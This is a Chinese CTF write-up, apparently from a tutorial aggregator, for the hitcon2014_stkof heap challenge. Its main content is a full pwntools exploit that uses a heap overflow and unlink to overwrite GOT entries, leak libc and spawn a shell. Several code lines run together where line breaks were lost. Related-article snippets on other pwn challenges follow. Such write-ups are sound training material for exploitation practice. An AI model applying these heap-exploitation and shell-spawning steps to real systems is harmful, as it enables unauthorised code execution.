【PWN · heap | unlink】hitcon2014_stkof

2023-11-06 05:04
文章标签 heap pwn unlink hitcon2014 stkof

本文主要是介绍【PWN · heap | unlink】hitcon2014_stkof,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记


前言

教学和具体过程可以看这个大佬的博客:

buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客


一、题目

fill函数可读大量字符,造成堆溢出。

可以通过unlink进行利用控制:

如果存在区域连续存放结构体指针存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作

最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写

二、exp

from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']def fill(index,size,payload):io.sendline(b'2')io.sendline(str(index).encode())io.sendline(str(size).encode())io.send(payload)io.recvuntil(b'OK\n')def free(index):io.sendline(b'3')io.sendline(str(index).encode())def alloc(size):io.sendline(b'1')io.sendline(str(size).encode())cnt=int(io.recvuntil(b'\n',drop=True))io.recvuntil(b'OK\n')success('num of chunk:{}'.format(cnt))initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20) alloc(0x80) # free掉的时候触发unlink##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n') 
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0)  #0x602138#0x602140     #0x602148     #0x602150     #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n') # 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0)  #0x602138#0x602140    #0x602144  对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshellio.interactive()

这篇关于【PWN · heap | unlink】hitcon2014_stkof的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/354614

相关文章

BUUCTF PWN wp--bjdctf_2020_babystack

第一步   checksec一下,该题是64位的,该题目大概率是一道栈溢出(因为题目里面提到了stack) 分析一下这个二进制保护机制: Arch: amd64-64-little 这表示二进制文件是为64位AMD处理器设计的,使用的是小端序(little-endian)格式。RELRO: Partial RELRO RELRO(Relocation Read-Only)是一种安全特性,旨

【UVa】10755 Garbage Heap 三维前缀和

题目分析:将前缀和应用到三维,求最大子矩阵。为S[x][y][z]数组中每个坐标保存从(0,0,0)到(x,y,z)范围内的子矩阵的元素和,最后用多次区间加减法可以得到需要的子矩阵的元素和,再用类似一维求最大连续和的方法求三维最大连续和。 代码如下: #include <cstdio>#include <cstring>#include <algorithm>using

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析

2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析 hard+sandbox:ptrace 系统调用概述: logger:pstack: [X] 🛰:ly3260344435[X] 🐧:3260344435[X] BiliBili:鱼影信息[X] 公众号:鱼影安全[X] CSDN:落寞的魚丶[X] 知识星球:中职-高职-CTF竞赛[X] 信息安全评估(

MyEclipse中Jboss启动出现Java heap space解决方案

转 http://cst.is-programmer.com/posts/16109.html 在MyEclipse中启动JBOSS,结果报: java.lang.OutOfMemoryError: Java heap space 异常,用jboss中的run.bat启动,则正常运行,而在MyEclipse中启动就报异常,百度之~~得解: 原因是对于很大的Web工程(公司的这个平台

Build Min Heap Using Array

Build min-heap using Array. 思路1:首先明白heap的底层implementation就是array,从0开始的parent和left,right的关系为, 如果现在的node index为i,那么parent index就是 (i-1)/2;   left  为2*i+1, right为 2*i+2;          ( i-1 ) / 2

报错:java.lang.OutOfMemoryError: Java heap space

该报错原因是内在不足,设置方法,打开tomcat设置页面,点击open launch configuration,打开配置窗口,在变量参数中加入空格后输入: -Xms512m -Xmx512m -XX:PermSize=512m -XX:MaxPermSize=512m

2024年“羊城杯”粤港澳大湾区网络安全大赛 PWN部分

2024年“羊城杯”粤港澳大湾区网络安全大赛 PWN部分 Author:Ns100kUpFrom:极安云科-服务中心Data:2024/08/27Copyright:本内容版权归属极安云科,未经授权不得以任何形式复制、转载、摘编和使用。 培训、环境、资料、考证公众号:Geek极安云科网络安全群:624032112网络系统管理群:223627079 网络建设与运维群:870959

maven编译出现Java heap space,和项目编译问题

这两天遇到个问题挺头疼,1项目不编译 2maven项目打包时,因为是使用的Lombok,所以当有几百个实体类进行编译时,需要一次性读进内存中,造成maven编译时内存溢出 方法1的解决方法(多构建几次): 方法2的解决方法: File->Settings设置一下VM的参数。 -Xms258m -Xmx1024m

pwn-shellcode执行

前言: 这应该是pwn中最简单的,就是利用pwntools生成shellcode,远程执行获取shell,这里以BSidesCF_Runit为例: 分析: 拿到runit后首先看下其安全属性和对应的版本,使用checksec 可以看到,什么安全防护都没有设置,那直接反编译看一眼   这太简单了,就是使用mmap申请一块内存后,将获取到的内容进行写入我们申请的内存中,判断内容不为空直

[BaseCTF 2024] 高校联合新生赛 PWN (week1-7)

pwn这块会略写,毕竟只有有用的才需要记。 week1 我把他丢了 溢出,很小的ROP,有bin/sh和system p.sendafter(b'\n', b'\0'*0x78+flat(pop_rdi, bin_sh, 0x40120f) Ret2text 溢出到后门 p.send(b'\0'*0x28+flat(0x4011a9)) shellcode_level0 直接运行